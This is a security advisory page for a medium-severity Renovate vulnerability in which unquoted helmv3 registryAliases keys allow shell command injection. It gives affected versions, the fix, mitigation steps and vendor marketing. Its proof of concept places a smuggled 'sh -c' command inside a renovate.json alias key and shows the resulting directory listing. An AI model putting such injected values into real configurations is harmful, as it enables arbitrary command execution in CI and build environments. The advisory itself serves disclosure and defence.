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GHSA-rqgv-292v-5qgr

MEDIUM

Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases

Published
Apr 23, 2024
Updated
Apr 23, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

renovatenpm
640Kdownloads / week

Description

Summary

Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.

Details

Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.

PoC

Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:

test-chart/Chart.yaml:

apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts

test-chart/Chart.lock:

dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"

Then add the following renovate.json:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:base"
  ],
  "registryAliases": {
    "foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
  }
}

Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:

File name: test-chart/Chart.lock

Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments

Usage:  helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

This shows that the ls command executed successfully, and we can even see its output.

Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.

Impact

All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmrenovate37.158.0&&< 37.199.037.199.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update renovate to 37.199.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rqgv-292v-5qgr is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-rqgv-292v-5qgr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-rqgv-292v-5qgr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands. ### Details Since [#26848](https://github.com/renovatebot/renovate/pull/26848), `registryAliases` has become mergeable. This means that the helmv3 manager started honoring its value and uses a `helm repo add <key> <parameters>` command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading
O3 Security · Impact-Aware SCA

Is GHSA-rqgv-292v-5qgr in your dependencies?

O3 detects GHSA-rqgv-292v-5qgr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.